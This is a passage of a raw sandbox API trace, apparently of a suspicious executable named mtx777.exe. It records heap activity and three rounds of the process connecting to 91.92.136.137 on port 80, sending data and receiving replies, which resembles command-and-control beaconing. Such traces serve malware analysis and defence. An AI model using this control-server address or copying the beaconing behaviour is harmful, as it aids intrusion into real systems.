0x543390 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce98 [0053.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543390 | out: hHeap=0x510000) returned 1 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x5288b8 [0053.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0053.329] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x542418 [0053.329] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0053.329] WSACreateEvent () returned 0x184 [0053.329] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x17c [0053.331] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0053.343] htons (hostshort=0x50) returned 0x5000 [0053.343] connect (s=0x17c, name=0x4adf64*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0053.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0053.390] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524520 [0053.390] GetLastError () returned 0x0 [0053.390] send (s=0x17c, buf=0x54a5f8*, len=419, flags=0) returned 419 [0053.390] Sleep (dwMilliseconds=0x32) [0053.440] WSARecv (in: s=0x17c, lpBuffers=0x4adf54, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4adf5c, lpFlags=0x4adf74*=0x0, lpOverlapped=0x4adf40, lpCompletionRoutine=0x0 | out: lpBuffers=0x4adf54*=((len=0x1ff, buf=0x4adf90*)), lpNumberOfBytesRecvd=0x4adf5c*=0x0, lpFlags=0x4adf74*=0x0, lpOverlapped=0x4adf40) returned 0 [0053.440] WSAGetLastError () returned 997 [0053.440] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4adf60*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0055.595] WSAResetEvent (hEvent=0x184) returned 1 [0055.595] WSAGetOverlappedResult (in: s=0x17c, lpOverlapped=0x4adf40, lpcbTransfer=0x4adf5c, fWait=0, lpdwFlags=0x4adf74 | out: lpcbTransfer=0x4adf5c, lpdwFlags=0x4adf74) returned 1 [0055.595] WSARecv (in: s=0x17c, lpBuffers=0x4adf54, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4adf5c, lpFlags=0x4adf74*=0x0, lpOverlapped=0x4adf40, lpCompletionRoutine=0x0 | out: lpBuffers=0x4adf54*=((len=0x1ff, buf=0x4adf90*)), lpNumberOfBytesRecvd=0x4adf5c*=0x0, lpFlags=0x4adf74*=0x0, lpOverlapped=0x4adf40) returned 0 [0055.595] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4adf60*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0055.595] WSAResetEvent (hEvent=0x184) returned 1 [0055.595] WSAGetOverlappedResult (in: s=0x17c, lpOverlapped=0x4adf40, lpcbTransfer=0x4adf5c, fWait=0, lpdwFlags=0x4adf74 | out: lpcbTransfer=0x4adf5c, lpdwFlags=0x4adf74) returned 1 [0055.595] WSAGetLastError () returned 0 [0055.595] WSASetEvent (hEvent=0x184) returned 1 [0055.595] WSACloseEvent (hEvent=0x184) returned 1 [0055.595] closesocket (s=0x17c) returned 0 [0055.595] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524520 | out: hHeap=0x510000) returned 1 [0055.595] WSACleanup () returned 0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ced0 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ced0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544cf8 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544cf8 | out: hHeap=0x510000) returned 1 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544cf8 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543278 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ced0 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543278 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x528908 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x510000) returned 1 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544cf8 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524490 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x5337e0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543278 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ced0 [0055.599] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543570 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5337e0 | out: hHeap=0x510000) returned 1 [0055.599] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543278 | out: hHeap=0x510000) returned 1 [0055.600] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5288b8 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ced0 | out: hHeap=0x510000) returned 1 [0055.600] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543278 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543570 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524490 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x528908 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542418 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543408 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5432f0 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce60 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543458 | out: hHeap=0x510000) returned 1 [0055.600] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0055.600] GetStartupInfoW (in: lpStartupInfo=0x4ae584 | out: lpStartupInfo=0x4ae584*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0055.600] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae2f8 | out: lpWSAData=0x4ae2f8) returned 0 [0055.604] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543458 [0055.604] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce60 [0055.604] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543458 | out: hHeap=0x510000) returned 1 [0055.604] WSACreateEvent () returned 0x208 [0055.604] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x180 [0055.606] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0055.618] htons (hostshort=0x50) returned 0x5000 [0055.618] connect (s=0x180, name=0x4ae01c*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0055.658] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0055.658] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543610 [0055.658] GetLastError () returned 0x0 [0055.658] send (s=0x180, buf=0x54a5f8*, len=381, flags=0) returned 381 [0055.658] Sleep (dwMilliseconds=0x32) [0055.718] WSARecv (in: s=0x180, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0055.718] WSAGetLastError () returned 997 [0055.718] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0057.746] WSAResetEvent (hEvent=0x208) returned 1 [0057.746] WSAGetOverlappedResult (in: s=0x180, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0057.746] WSARecv (in: s=0x180, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0057.746] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0057.747] WSAResetEvent (hEvent=0x208) returned 1 [0057.747] WSAGetOverlappedResult (in: s=0x180, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0057.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x54aa30 [0057.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0057.747] WSARecv (in: s=0x180, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0057.747] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0057.747] WSAResetEvent (hEvent=0x208) returned 1 [0057.747] WSAGetOverlappedResult (in: s=0x180, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0057.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x600) returned 0x54ae38 [0057.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0057.747] WSARecv (in: s=0x180, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1f4, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0057.747] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0057.747] WSAResetEvent (hEvent=0x208) returned 1 [0057.747] WSAGetOverlappedResult (in: s=0x180, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0057.747] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8ff) returned 0x54b440 [0057.747] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ae38 | out: hHeap=0x510000) returned 1 [0057.747] WSARecv (in: s=0x180, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0057.747] WSAGetLastError () returned 997 [0057.747] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x208, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0057.996] WSAResetEvent (hEvent=0x208) returned 1 [0057.996] WSAGetOverlappedResult (in: s=0x180, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0057.996] WSAGetLastError () returned 0 [0057.996] WSASetEvent (hEvent=0x208) returned 1 [0057.996] WSACloseEvent (hEvent=0x208) returned 1 [0057.996] closesocket (s=0x180) returned 0 [0057.996] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543610 | out: hHeap=0x510000) returned 1 [0057.996] WSACleanup () returned 0 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54bd48 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7f0) returned 0x54aa30 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54bd48 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54c530 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x7e0) returned 0x54bd48 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c530 | out: hHeap=0x510000) returned 1 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543728 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543728 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x47) returned 0x5288b8 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6a) returned 0x534538 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x54b228 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xec) returned 0x534538 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x161) returned 0x54b228 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0058.000] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x211) returned 0x54a5f8 [0058.000] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x319) returned 0x542528 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4a5) returned 0x543a38 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x542528 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6f7) returned 0x54c530 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x543a38 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5e0) returned 0x54cc30 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x533840 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf40 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x543a38 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x550) returned 0x54d218 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533840 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x48) returned 0x5288b8 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543728 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x534538 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543408 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543728 | out: hHeap=0x510000) returned 1 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x54b228 [0058.001] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x534538 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf40 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d218 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543408 | out: hHeap=0x510000) returned 1 [0058.001] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b228 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cc30 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c530 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bd48 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54aa30 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce60 | out: hHeap=0x510000) returned 1 [0058.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b440 | out: hHeap=0x510000) returned 1 [0058.002] GetLastError () returned 0x0 [0058.002] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x4ae2f8 | out: lpWSAData=0x4ae2f8) returned 0 [0058.005] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x543408 [0058.005] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52ce60 [0058.006] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543408 | out: hHeap=0x510000) returned 1 [0058.006] WSACreateEvent () returned 0x184 [0058.006] WSASocketA (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x1a0 [0058.007] gethostbyname (name="91.92.136.137") returned 0x26d4898*(h_name="91.92.136.137", h_aliases=0x26d48a8*=0x0, h_addrtype=2, h_length=4, h_addr_list=0x26d48ac*=([0]="91.92.136.137")) [0058.019] htons (hostshort=0x50) returned 0x5000 [0058.020] connect (s=0x1a0, name=0x4ae01c*(sa_family=2, sin_port=0x50, sin_addr="91.92.136.137"), namelen=16) returned 0 [0058.063] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52cf08 [0058.064] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434a8 [0058.064] GetLastError () returned 0x0 [0058.064] send (s=0x1a0, buf=0x54a5f8*, len=381, flags=0) returned 381 [0058.064] Sleep (dwMilliseconds=0x32) [0058.120] WSARecv (in: s=0x1a0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x0, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0058.120] WSAGetLastError () returned 997 [0058.120] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0060.433] WSAResetEvent (hEvent=0x184) returned 1 [0060.433] WSAGetOverlappedResult (in: s=0x1a0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0060.433] WSARecv (in: s=0x1a0, lpBuffers=0x4ae00c, dwBufferCount=0x1, lpNumberOfBytesRecvd=0x4ae014, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8, lpCompletionRoutine=0x0 | out: lpBuffers=0x4ae00c*=((len=0x1ff, buf=0x4ae048*)), lpNumberOfBytesRecvd=0x4ae014*=0x1ff, lpFlags=0x4ae02c*=0x0, lpOverlapped=0x4adff8) returned 0 [0060.433] WSAWaitForMultipleEvents (cEvents=0x1, lphEvents=0x4ae018*=0x184, fWaitAll=0, dwTimeout=0x2ee0, fAlertable=0) returned 0x0 [0060.433] WSAResetEvent (hEvent=0x184) returned 1 [0060.433] WSAGetOverlappedResult (in: s=0x1a0, lpOverlapped=0x4adff8, lpcbTransfer=0x4ae014, fWait=0, lpdwFlags=0x4ae02c | out: lpcbTransfer=0x4ae014, lpdwFlags=0x4ae02c) returned 1 [0060.434] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x400) returned 0x54aa30 [0060.434] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a5f8 | out: hHeap=0x510000) returned 1 [0060.434] WSARecv (in: s=0x1a0, 